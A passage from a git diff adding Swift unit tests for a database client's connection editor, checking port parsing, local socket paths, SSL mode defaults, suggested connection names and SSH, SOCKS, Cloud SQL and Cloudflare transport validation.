httpsHostListPointsAtSSLMode() throws { + let elastic = traits(.elasticsearch) + let hostList = try #require(elastic.fields.endpointHostList) + var draft = ConnectionDraft.new(type: .elasticsearch, traits: elastic) + draft.name = "Search" + draft.selectSSLMode(.disabled) + draft.fieldValues[hostList.id] = "https://es.example.com:9200" + + let issue = try #require(issues(draft, elastic).first { $0.message.contains("https://es.example.com:9200") }) + #expect(issue.row == .builtIn(.sslMode)) + #expect(issue.facet == .sslTLS) + } + + @Test("A required field a linked credential profile hides does not block Save") + func profileHiddenRequiredFieldDoesNotBlock() { + var traits = ConnectionTypeTraits(type: DatabaseType(rawValue: "Probe")) + traits.fields = [ + ConnectionField( + id: "apiKey", + label: "API Key", + required: true, + secure: true, + section: .authentication, + hidesPassword: true + ).withHidesUsername(true) + ] + let profile = CredentialProfile(name: "Shared", secureFieldIds: []) + var context = EditorContext() + context.credentialProfiles = [profile] + var draft = ConnectionDraft.new(type: traits.type, traits: traits) + draft.name = "Probe" + #expect(issues(draft, traits, context).contains { $0.row == .plugin(fieldID: "apiKey") }) + + draft.setCredentialMode(.profile(id: profile.id)) + #expect(!issues(draft, traits, context).contains { $0.row == .plugin(fieldID: "apiKey") }) + } + + @Test("The port is a trimmed whole number from 1 to 65535, and empty means the default") + func portParsing() { + #expect(ConnectionEditorEngine.parsePort("15432 ") == 15_432) + #expect(ConnectionEditorEngine.parsePort(" 15432") == 15_432) + #expect(ConnectionEditorEngine.parsePort("99999") == nil) + #expect(ConnectionEditorEngine.parsePort("-1") == nil) + #expect(ConnectionEditorEngine.parsePort("0") == nil) + #expect(ConnectionEditorEngine.parsePort("33o6") == nil) + #expect(ConnectionEditorEngine.parsePort("abc") == nil) + #expect(ConnectionEditorEngine.portIssue("") == nil) + #expect(ConnectionEditorEngine.portIssue("15432 ") == nil) + #expect(ConnectionEditorEngine.portIssue("99999") != nil) + #expect(ConnectionEditorEngine.portIssue("33o6") != nil) + } + + @Test("An unparsable port is an issue on the Port row and is never saved as the default") + func badPortBlocksSave() throws { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "Orders" + draft.setPort("33o6", traits: postgres) + let issue = try #require(issues(draft, postgres).first { $0.row == .builtIn(.port) }) + #expect(issue.blocksSave) + + draft.setPort("15432 ", traits: postgres) + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.port) }) + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()) + #expect(edits.port == 15_432) + } + + @Test("Port blocks nothing while the SSH tunnel forwards to a socket and the field is off") + func portIsUnusedWhileForwardingToASocket() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "Orders" + draft.setPort("99999", traits: postgres) + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + #expect(issues(draft, postgres).contains { $0.row == .builtIn(.port) }) + + draft.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.port) }) + let layout = ConnectionEditorEngine.layout(draft, postgres, EditorContext()) + #expect(layout.contains(.builtIn(.port))) + #expect(!layout.isEnabled(.builtIn(.port))) + } + + @Test("A file on an SSH server needs no local database file, and General says the local path is unused") + func remoteFileNeedsNoLocalFile() throws { + let sqlite = traits(.sqlite) + var draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + draft.name = "Remote" + draft.database = "" + #expect(issues(draft, sqlite).contains { $0.row == .builtIn(.databaseFile) }) + + draft.selectTransport(.remoteFile) + draft.ssh.host = "prod-1" + draft.ssh.username = "deploy" + draft.ssh.remoteFilePath = "/srv/app.db" + #expect(issues(draft, sqlite).isEmpty) + let layout = ConnectionEditorEngine.layout(draft, sqlite, EditorContext()) + let section = try #require(layout.facet(.general)?.section(containing: .builtIn(.databaseFile))) + #expect(section.footer != nil) + #expect(!layout.isEnabled(.builtIn(.databaseFile))) + } + + @Test("An empty name is no issue: Save and Test use the suggested name") + func emptyNameBlocksNothing() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "" + draft.host = "db.example.com" + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.name) }) + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()) + #expect(edits.name == "db.example.com") + } + + @Test("SSL modes the driver refuses through a tunnel are not offered and block Save") + func sslModesThroughTunnel() throws { + var traits = traits(.postgresql) + traits.ssl.supportedModes = SSLMode.allCases + traits.ssl.modesThroughTunnel = [.disabled, .preferred, .required] + var draft = ConnectionDraft.new(type: .postgresql, traits: traits) + draft.name = "Orders" + draft.selectSSLMode(.verifyIdentity) + draft.ssl.caCertPath = "/ca.pem" + #expect(ConnectionEditorEngine.offeredSSLModes(draft, traits).contains(.verifyIdentity)) + + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + #expect(!ConnectionEditorEngine.offeredSSLModes(draft, traits).contains(.verifyIdentity)) + let issue = try #require(issues(draft, traits).first { $0.row == .builtIn(.sslMode) }) + #expect(issue.facet == .sslTLS) + } + + @Test("A jump host that is not valid names its own row") + func jumpHostIssueNamesItsRow() throws { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.name = "Shop" + draft.selectTransport(.ssh) + draft.ssh.host = "bastion" + let id = draft.addJumpHost() + let issue = try #require(issues(draft, mysql).first { $0.row == .builtIn(.jumpHost(id)) }) + #expect(issue.facet == .sshAndProxies) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineLocalSocketTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineLocalSocketTests.swift new file mode 100644 index 0000000000..f3a8ace9f3 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineLocalSocketTests.swift @@ -0,0 +1,229 @@ +// +// ConnectionEditorEngineLocalSocketTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineLocalSocketTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func socketConnection(path: String = "/tmp/mysql.sock", type: DatabaseType = .mysql) -> DatabaseConnection { + var connection = DatabaseConnection(name: "Local", host: "localhost", port: 3_306, type: type) + connection.additionalFields[MySQLLocalSocket.fieldKey] = path + return connection + } + + private func loaded(_ connection: DatabaseConnection) -> ConnectionDraft { + ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(connection.type)) + } + + private func socketDraft(_ type: DatabaseType = .mysql, path: String, port: String? = nil) -> ConnectionDraft { + let traits = traits(type) + var draft = ConnectionDraft.new(type: type, traits: traits) + draft.name = "Local" + if let port { + draft.setPort(port, traits: traits) + } + draft.selectEndpoint(.localSocket) + draft.localSocketPath = path + return draft + } + + private func edits(_ draft: ConnectionDraft) -> ConnectionFormEdits { + ConnectionEditorEngine.edits(draft, traits(draft.type), originalTraits: nil, EditorContext()) + } + + private func socketIssues(_ draft: ConnectionDraft) -> [String] { + ConnectionEditorEngine.issues(draft, traits(draft.type), EditorContext()) + .filter { $0.row == .builtIn(.localSocketPath) } + .map(\.message) + } + + // MARK: - MySQL + + @Test("Loading a socket connection selects Socket and fills the path") + func loadsSocketConnection() { + let draft = loaded(socketConnection()) + #expect(draft.endpoint == .localSocket) + #expect(draft.localSocketPath == "/tmp/mysql.sock") + #expect(ConnectionEditorEngine.usesLocalSocket(draft, traits(.mysql))) + } + + @Test("Loading a TCP connection stays on Host and Port") + func loadsTCPConnection() { + let draft = loaded(DatabaseConnection(name: "TCP", host: "db.internal", port: 3_306, type: .mysql)) + #expect(draft.endpoint == .hostAndPort) + #expect(draft.localSocketPath.isEmpty) + #expect(!ConnectionEditorEngine.usesLocalSocket(draft, traits(.mysql))) + } + + @Test("A stored socket under an SSH tunnel loads as Host and Port, since the tunnel is what connects") + func socketUnderTunnelLoadsAsHostAndPort() { + var connection = socketConnection() + connection.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + let draft = loaded(connection) + #expect(draft.endpoint == .hostAndPort) + #expect(draft.localSocketPath.isEmpty) + } + + @Test("Writing in Socket mode stores the trimmed path with ~ expanded") + func writesTrimmedExpandedPath() { + #expect(edits(socketDraft(path: " /tmp/mysql.sock\n")).additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + #expect( + edits(socketDraft(path: "~/run/mysqld.sock")).additionalFields[MySQLLocalSocket.fieldKey] + == NSHomeDirectory() + "/run/mysqld.sock" + ) + } + + @Test("Host and Port mode writes no socket, even with a path typed earlier") + func hostAndPortWritesNoSocket() { + var draft = socketDraft(path: "/tmp/mysql.sock") + draft.selectEndpoint(.hostAndPort) + #expect(edits(draft).additionalFields[MySQLLocalSocket.fieldKey] == nil) + #expect(socketIssues(draft).isEmpty) + } + + @Test("An empty socket path blocks Save and names the field") + func emptyPathIsRequired() { + let required = String(format: String(localized: "%@ is required"), String(localized: "Socket")) + #expect(socketIssues(socketDraft(path: " ")) == [required]) + } + + @Test("A relative socket path blocks Save") + func relativePathIsRejected() { + #expect(socketIssues(socketDraft(path: "mysql.sock")) == [MySQLLocalSocket.PathIssue.notAbsolute.message]) + } + + @Test("A path past macOS's 103-byte limit blocks Save with its length") + func longPathIsRejected() { + let path = "/" + String(repeating: "a", count: 103) + #expect(socketIssues(socketDraft(path: path)) == [MySQLLocalSocket.PathIssue.tooLong(bytes: 104).message]) + #expect(socketIssues(socketDraft(path: "/" + String(repeating: "a", count: 102))).isEmpty) + } + + @Test("A path under ~ is checked after expanding it, so it is absolute") + func tildePathIsAbsolute() { + #expect(socketIssues(socketDraft(path: "~/mysql.sock")).isEmpty) + } + + @Test("Changing the type to Redshift drops the socket") + func typeChangeDropsSocket() { + let redshift = traits(.redshift) + var draft = socketDraft(path: "") + draft.retype(to: redshift, from: traits(.mysql)) + #expect(!redshift.supportsLocalSocket) + #expect(!ConnectionEditorEngine.usesLocalSocket(draft, redshift)) + #expect(edits(draft).additionalFields[MySQLLocalSocket.fieldKey] == nil) + #expect(socketIssues(draft).isEmpty) + } + + @Test("Socket is offered for MySQL, MariaDB and PostgreSQL only") + func socketIsOfferedPerType() { + let cases: [(type: DatabaseType, offered: Bool)] = [ + (.mysql, true), (.mariadb, true), (.tidb, false), (.oceanbase, false), + (.databend, false), (.postgresql, true), (.redshift, false), (.cockroachdb, false), + (DatabaseType(rawValue: "PGlite"), false), (.sqlite, false) + ] + for entry in cases { + let traits = traits(entry.type) + #expect(traits.supportsLocalSocket == entry.offered, "\(entry.type.rawValue)") + let layout = ConnectionEditorEngine.layout(ConnectionDraft.new(type: entry.type, traits: traits), traits, EditorContext()) + #expect(layout.contains(.builtIn(.endpointKind)) == entry.offered, "\(entry.type.rawValue)") + } + } + + @Test("The prompt is the socket path a Homebrew or installer MySQL uses") + func promptIsTheDefaultSocket() { + #expect(traits(.mariadb).defaultLocalSocketPath == "/tmp/mysql.sock") + } + + // MARK: - PostgreSQL + + // The Socket row offers these folders only when the path names a directory. + @Test("PostgreSQL offers Socket, prompts /tmp and suggests the common folders") + func postgresOffersSocket() { + let postgres = traits(.postgresql) + #expect(postgres.supportsLocalSocket) + #expect(postgres.localSocketIsDirectory) + #expect(postgres.defaultLocalSocketPath == "/tmp") + #expect(PostgreSQLLocalSocket.commonDirectories == ["/tmp", "/var/run/postgresql"]) + #expect(!traits(.mysql).localSocketIsDirectory) + } + + @Test("Socket leaves Direct only and drops SSL, and the connection rows report nothing") + func postgresSocketDropsSSL() { + let postgres = traits(.postgresql) + var draft = socketDraft(.postgresql, path: "/tmp") + draft.selectSSLMode(.required) + draft.ssl.clientCertPath = "/tmp/client.crt" + + #expect(ConnectionEditorEngine.availableTransports(draft, postgres) == [nil]) + #expect(postgres.supportsSSL) + #expect(!ConnectionEditorEngine.showsSSL(draft, postgres)) + let layout = ConnectionEditorEngine.layout(draft, postgres, EditorContext()) + let connectionRows = layout.facet(.general)?.sections.first { $0.id == "connection" }?.rows ?? [] + var issues = ConnectionEditorEngine.issues(draft, postgres, EditorContext(), layout: layout) + #expect(!issues.contains { $0.row == .builtIn(.sslClientKey) }) + #expect(!issues.contains { connectionRows.contains($0.row) }) + + draft.selectEndpoint(.hostAndPort) + #expect(ConnectionEditorEngine.showsSSL(draft, postgres)) + issues = ConnectionEditorEngine.issues(draft, postgres, EditorContext()) + #expect(issues.contains { $0.row == .builtIn(.sslClientKey) }) + } + + @Test("A MySQL socket keeps its SSL settings") + func mysqlSocketKeepsSSL() { + let mysql = traits(.mysql) + let draft = socketDraft(path: "/tmp/mysql.sock") + #expect(ConnectionEditorEngine.showsSSL(draft, mysql)) + #expect(ConnectionEditorEngine.layout(draft, mysql, EditorContext()).facet(.sslTLS) != nil) + } + + @Test("A folder is saved with the port, and the port names the socket file") + func savesDirectoryAndPort() { + let edits = edits(socketDraft(.postgresql, path: "/var/run/postgresql/", port: "5434")) + #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/var/run/postgresql") + #expect(edits.port == 5_434) + + let connection = edits.applied(to: DatabaseConnection(name: "")) + #expect(connection.localSocketFile == "/var/run/postgresql/.s.PGSQL.5434") + #expect(connection.transportSSLConfiguration.mode == .disabled) + } + + @Test("A socket file is saved as its folder and the port in its name") + func savesSocketFileAsDirectory() { + let edits = edits(socketDraft(.postgresql, path: "/tmp/.s.PGSQL.5433", port: "5432")) + #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp") + #expect(edits.port == 5_433) + } + + @Test("A relative path, a comma and a socket file over 103 bytes block Save") + func postgresPathIssues() { + #expect(socketIssues(socketDraft(.postgresql, path: "")).count == 1) + #expect(socketIssues(socketDraft(.postgresql, path: "run/postgresql")) == [PostgreSQLLocalSocket.PathIssue.notAbsolute.message]) + #expect(socketIssues(socketDraft(.postgresql, path: "/tmp,/var/run")) == [PostgreSQLLocalSocket.PathIssue.comma.message]) + + let directory = "/" + String(repeating: "a", count: 88) + #expect(socketIssues(socketDraft(.postgresql, path: directory, port: "5432")).isEmpty) + #expect( + socketIssues(socketDraft(.postgresql, path: directory, port: "54321")) + == [PostgreSQLLocalSocket.PathIssue.tooLong(bytes: 104).message] + ) + } + + @Test("The direct summary names the socket and says no SSL is used") + func directSummary() { + let summary = ConnectionTunnelKind.directSummary(isFileBased: false, usesLocalSocket: true, localSocketSkipsTLS: true) + #expect(summary != ConnectionTunnelKind.directSummary(isFileBased: false, usesLocalSocket: true, localSocketSkipsTLS: false)) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineNameTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineNameTests.swift new file mode 100644 index 0000000000..ff9f6e4e5b --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineNameTests.swift @@ -0,0 +1,80 @@ +// +// ConnectionEditorEngineNameTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineNameTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + @Test("A server is named after its host and database, or its host alone") + func serverNames() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.host = " db.example.com " + draft.database = "orders" + #expect(ConnectionEditorEngine.suggestedName(draft, postgres) == "db.example.com/orders") + + draft.database = "" + #expect(ConnectionEditorEngine.suggestedName(draft, postgres) == "db.example.com") + } + + @Test("A form that names no server is named after its type") + func typeNameWhenNothingIsTyped() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.host = "" + draft.database = "" + #expect(ConnectionEditorEngine.suggestedName(draft, postgres) == postgres.displayName) + } + + @Test("A file type is named after its file, without the extension") + func fileNames() throws { + let sqlite = traits(.sqlite) + try #require(sqlite.connectionMode == .fileBased) + var draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + draft.database = "/Users/me/Shop.sqlite" + #expect(ConnectionEditorEngine.suggestedName(draft, sqlite) == "Shop") + + draft.database = "" + #expect(ConnectionEditorEngine.suggestedName(draft, sqlite) == sqlite.displayName) + } + + @Test("A typed name wins; an empty one saves as the saved name, else as the suggestion") + func effectiveName() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.host = "db.example.com" + var context = EditorContext() + + draft.name = " " + #expect(ConnectionEditorEngine.effectiveName(draft, postgres, context) == "db.example.com") + + context.savedName = "Orders" + #expect(ConnectionEditorEngine.effectiveName(draft, postgres, context) == "Orders") + #expect(ConnectionEditorEngine.edits(draft, postgres, originalTraits: postgres, context).name == "Orders") + + draft.name = "Billing" + #expect(ConnectionEditorEngine.effectiveName(draft, postgres, context) == "Billing") + } + + @Test("No registered type ever raises an issue on Name") + func nameNeverHasAnIssue() { + for type in DatabaseType.allKnownTypes { + let traits = traits(type) + var draft = ConnectionDraft.new(type: type, traits: traits) + draft.name = "" + let issues = ConnectionEditorEngine.issues(draft, traits, EditorContext()) + #expect(!issues.contains { $0.row == .builtIn(.name) }, "\(type.rawValue)") + #expect(!ConnectionEditorEngine.effectiveName(draft, traits, EditorContext()).isEmpty, "\(type.rawValue)") + } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineSSLTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineSSLTests.swift new file mode 100644 index 0000000000..8d772f2dda --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineSSLTests.swift @@ -0,0 +1,178 @@ +// +// ConnectionEditorEngineSSLTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineSSLTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func sslIssues(for type: DatabaseType, mode: SSLMode, caCertPath: String = "") -> [FieldIssue] { + let traits = traits(type) + var draft = ConnectionDraft.new(type: type, traits: traits) + draft.selectSSLMode(mode) + draft.ssl.caCertPath = caCertPath + return ConnectionEditorEngine.issues(draft, traits, EditorContext()).filter { $0.facet == .sslTLS } + } + + // MARK: - Defaults + + @Test("A new connection starts on its engine's native SSL default, and an unknown engine on Disabled") + func newConnectionTakesTheNativeDefault() { + let expected: [(DatabaseType, SSLMode)] = [ + (.postgresql, .preferred), + (.mssql, .preferred), + (.redis, .disabled), + (DatabaseType(rawValue: "FutureDB"), .disabled) + ] + for (type, mode) in expected { + let draft = ConnectionDraft.new(type: type, traits: traits(type)) + #expect(draft.ssl.mode == mode, "\(type.rawValue)") + #expect(draft.ssl.origin == .typeDefault, "\(type.rawValue)") + } + } + + @Test("A mode nobody picked takes the new engine's default on a retype") + func unchosenModeFollowsTheNewType() { + let postgres = traits(.postgresql) + let redis = traits(.redis) + let fromPostgres = ConnectionDraft.new(type: .postgresql, traits: postgres) + #expect(fromPostgres.retyped(to: redis, from: postgres).result.ssl.mode == .disabled) + + let fromRedis = ConnectionDraft.new(type: .redis, traits: redis) + #expect(fromRedis.retyped(to: postgres, from: redis).result.ssl.mode == .preferred) + #expect(fromRedis.retyped(to: traits(.mssql), from: redis).result.ssl.mode == .preferred) + let future = traits(DatabaseType(rawValue: "FutureDB")) + #expect(fromRedis.retyped(to: future, from: redis).result.ssl.mode == .disabled) + } + + // MARK: - CA certificate + + @Test("Verify Identity without a CA file saves for SAP HANA and Kafka, which trust the system roots") + func systemTrustStoreEnginesNeedNoCAFile() { + for type in [DatabaseType.sapHana, .kafka] { + #expect(type.verifiesServerWithSystemTrust) + #expect(sslIssues(for: type, mode: .verifyIdentity).isEmpty, "\(type.rawValue)") + } + } + + @Test("Verify Identity without a CA file is refused for engines that need one") + func fileTrustEnginesStillRequireACAFile() { + #expect(!DatabaseType.mysql.verifiesServerWithSystemTrust) + let issues = sslIssues(for: .mysql, mode: .verifyIdentity) + #expect(issues.count == 1) + #expect(issues.first?.row == .builtIn(.sslCACertificate)) + #expect(sslIssues(for: .mysql, mode: .verifyIdentity, caCertPath: "/tmp/ca.pem").isEmpty) + } + + @Test( + "The libpq engines save Verify Identity without a CA file and still need one for Verify CA", + arguments: [DatabaseType.postgresql, .redshift, .cockroachdb, .kingbasees] + ) + func libpqEnginesNeedACAFileOnlyForVerifyCA(type: DatabaseType) { + #expect(type.verifiesServerWithSystemTrust) + #expect(sslIssues(for: type, mode: .verifyIdentity).isEmpty) + #expect(sslIssues(for: type, mode: .verifyCa).count == 1) + #expect(sslIssues(for: type, mode: .verifyCa, caCertPath: "/tmp/ca.pem").isEmpty) + } + + // MARK: - Port + + @Test("A Trino port of 443 escalates the type default to Verify Identity, and another port reverts it") + func portFollowsTheTLSPort() { + let trino = traits(.trino) + var draft = ConnectionDraft.new(type: .trino, traits: trino) + + draft.setPort("443", traits: trino) + #expect(draft.ssl.mode == .verifyIdentity) + #expect(draft.ssl.origin == .impliedByPort) + + draft.setPort("4430", traits: trino) + #expect(draft.ssl.mode == .disabled) + #expect(draft.ssl.origin == .typeDefault) + } + + @Test("A selected mode is never changed by the port") + func selectedModeIgnoresThePort() { + let trino = traits(.trino) + var draft = ConnectionDraft.new(type: .trino, traits: trino) + draft.selectSSLMode(.disabled) + + draft.setPort("443", traits: trino) + #expect(draft.ssl.mode == .disabled) + #expect(draft.ssl.origin == .chosen) + } + + @Test("A stored Disabled on port 443 is still the type default, so editing the port escalates it") + func loadedDefaultModeCanStillEscalate() { + let trino = traits(.trino) + let connection = DatabaseConnection( + name: "Trino", port: 443, type: .trino, sslConfig: SSLConfiguration(mode: .disabled) + ) + var draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: trino) + #expect(draft.ssl.origin == .typeDefault) + + draft.setPort("443", traits: trino) + #expect(draft.ssl.mode == .verifyIdentity) + } + + @Test("A stored Verify Identity is a choice, so moving off port 443 keeps it") + func loadedNonDefaultModeIsAChoice() { + let trino = traits(.trino) + let connection = DatabaseConnection( + name: "Trino", port: 443, type: .trino, sslConfig: SSLConfiguration(mode: .verifyIdentity) + ) + var draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: trino) + #expect(draft.ssl.origin == .chosen) + + draft.setPort("8080", traits: trino) + #expect(draft.ssl.mode == .verifyIdentity) + } + + @Test("A type with no TLS ports ignores the port") + func typeWithoutTLSPortsIgnoresThePort() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + + draft.setPort("443", traits: postgres) + #expect(draft.ssl.mode == .preferred) + #expect(draft.ssl.origin == .typeDefault) + } + + // MARK: - Import + + @Test("An imported explicit mode is a choice, and an import with no mode follows the port") + func importedModes() { + let trino = traits(.trino) + var draft = ConnectionDraft.new(type: .trino, traits: trino) + + draft.applyImportedSSL(SSLModeResolution(mode: .required, origin: .chosen)) + #expect(draft.ssl.mode == .required) + #expect(draft.ssl.origin == .chosen) + + draft.applyImportedSSL(DatabaseType.trino.sslModeResolution(forPort: 443)) + #expect(draft.ssl.mode == .verifyIdentity) + #expect(draft.ssl.origin == .impliedByPort) + + draft.setPort("8080", traits: trino) + #expect(draft.ssl.mode == .disabled) + #expect(draft.ssl.origin == .typeDefault) + } + + @Test("An imported ssl=false turns SSL off even where the driver defaults to Preferred") + func importedSSLFalseIsDisabled() throws { + let parsed = try ConnectionURLParser.parse("mysql://root@db.example.com/shop?ssl=false").get() + var draft = ConnectionDraft.new(type: .mysql, traits: traits(.mysql)) + draft.applyImportedSSL(parsed.sslModeResolution) + #expect(draft.ssl.mode == .disabled) + #expect(draft.ssl.origin == .chosen) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift new file mode 100644 index 0000000000..eeb2b66e7e --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift @@ -0,0 +1,359 @@ +// +// ConnectionEditorEngineTransportIssueTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineTransportIssueTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func draft(_ type: DatabaseType, transport: ConnectionTunnelKind?) -> ConnectionDraft { + var draft = ConnectionDraft.new(type: type, traits: traits(type)) + draft.name = "Remote" + draft.selectTransport(transport) + return draft + } + + private func transportIssues(_ draft: ConnectionDraft) -> [FieldIssue] { + ConnectionEditorEngine.issues(draft, traits(draft.type), EditorContext()).filter { $0.facet == .sshAndProxies } + } + + private func messages(_ draft: ConnectionDraft, on row: BuiltInRow) -> [String] { + transportIssues(draft).filter { $0.row == .builtIn(row) }.map(\.message) + } + + // MARK: - Remote File + + // A check that answered whenever SSH was on once disabled Save on every tunnelled MySQL and PostgreSQL connection. + @Test("An SSH-tunnelled network connection is never asked for a remote file path") + func networkConnectionWithTunnelStaysValid() { + for type in [DatabaseType.mysql, .postgresql] { + var draft = draft(type, transport: .ssh) + draft.ssh.host = "bastion.example.com" + draft.ssh.username = "deploy" + + #expect(transportIssues(draft).isEmpty, "\(type.rawValue)") + } + } + + @Test("A file-backed connection on Remote File with no path is told what is missing") + func fileBackedConnectionRequiresAPath() { + var draft = draft(.sqlite, transport: .remoteFile) + draft.ssh.host = "prod-1" + draft.ssh.username = "deploy" + draft.ssh.remoteFilePath = "" + + let issues = transportIssues(draft) + #expect(issues.count == 1) + #expect(issues.first?.row == .builtIn(.remoteFilePath)) + } + + @Test("A file-backed connection naming both a server and a path has nothing to report") + func completeRemoteFileIsValid() { + var draft = draft(.sqlite, transport: .remoteFile) + draft.ssh.host = "prod-1" + draft.ssh.username = "deploy" + draft.ssh.remoteFilePath = "/srv/app.db" + + #expect(transportIssues(draft).isEmpty) + } + + @Test("Direct leaves no remote file to validate") + func directReportsNothing() { + #expect(transportIssues(draft(.sqlite, transport: nil)).isEmpty) + } + + // MARK: - SOCKS proxy + + @Test("Direct reports no SOCKS issues") + func socksDirectNoIssues() { + var draft = draft(.postgresql, transport: nil) + draft.socksProxy.host = "" + #expect(transportIssues(draft).isEmpty) + } + + @Test("A SOCKS proxy requires a host, in SSH & Proxies") + func socksRequiresHost() { + var draft = draft(.postgresql, transport: .socksProxy) + draft.socksProxy.host = " " + #expect(messages(draft, on: .socksHost).contains { $0.localizedCaseInsensitiveContains("host") }) + + draft.socksProxy.host = "proxy.example.com" + #expect(transportIssues(draft).isEmpty) + } + + @Test("A SOCKS proxy port must be in range") + func socksPortRange() { + var draft = draft(.postgresql, transport: .socksProxy) + draft.socksProxy.host = "proxy.example.com" + + draft.socksProxy.port = "70000" + #expect(messages(draft, on: .socksPort).contains { $0.localizedCaseInsensitiveContains("port") }) + + draft.socksProxy.port = "not-a-port" + #expect(messages(draft, on: .socksPort).contains { $0.localizedCaseInsensitiveContains("port") }) + + draft.socksProxy.port = "1080" + #expect(transportIssues(draft).isEmpty) + } + + @Test("SOCKS credentials are optional") + func socksCredentialsOptional() { + var draft = draft(.postgresql, transport: .socksProxy) + draft.socksProxy.host = "proxy.example.com" + draft.socksProxy.username = "" + draft.socksProxy.password = "" + #expect(transportIssues(draft).isEmpty) + } + + // MARK: - Cloud SQL Auth Proxy + + @Test("Direct reports no Cloud SQL issues") + func cloudSQLDirectNoIssues() { + var draft = draft(.postgresql, transport: nil) + draft.cloudSQLProxy.instanceConnectionName = "bad" + #expect(transportIssues(draft).isEmpty) + } + + @Test("Cloud SQL requires a well-formed instance connection name") + func cloudSQLRequiresInstanceName() { + var draft = draft(.postgresql, transport: .cloudSQLProxy) + draft.cloudSQLProxy.instanceConnectionName = "bad" + #expect(!messages(draft, on: .cloudSQLInstance).isEmpty) + + draft.cloudSQLProxy.instanceConnectionName = "p:r:i" + #expect(transportIssues(draft).isEmpty) + } + + @Test("A manual Cloud SQL port must be in range") + func cloudSQLManualPortRange() { + var draft = draft(.postgresql, transport: .cloudSQLProxy) + draft.cloudSQLProxy.instanceConnectionName = "p:r:i" + draft.cloudSQLProxy.automaticPort = false + + draft.cloudSQLProxy.localPort = "70000" + #expect(!messages(draft, on: .cloudSQLLocalPort).isEmpty) + + draft.cloudSQLProxy.localPort = "5432" + #expect(transportIssues(draft).isEmpty) + } + + @Test("Service account key mode requires a key") + func cloudSQLServiceAccountKeyRequired() { + var draft = draft(.postgresql, transport: .cloudSQLProxy) + draft.cloudSQLProxy.instanceConnectionName = "p:r:i" + draft.cloudSQLProxy.authMode = .serviceAccountKey + + draft.cloudSQLProxy.serviceAccountKeyJSON = "" + #expect(!messages(draft, on: .cloudSQLServiceAccountKey).isEmpty) + + draft.cloudSQLProxy.serviceAccountKeyJSON = "{\"type\":\"service_account\"}" + #expect(transportIssues(draft).isEmpty) + } + + // MARK: - Cloudflare Tunnel + + @Test("Direct reports no Cloudflare issues") + func cloudflareDirectNoIssues() { + var draft = draft(.postgresql, transport: nil) + draft.cloudflare.accessHostname = "" + #expect(transportIssues(draft).isEmpty) + } + + @Test("A Cloudflare tunnel requires a hostname") + func cloudflareRequiresHostname() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = " " + #expect(messages(draft, on: .cloudflareHostname).contains { $0.localizedCaseInsensitiveContains("hostname") }) + } + 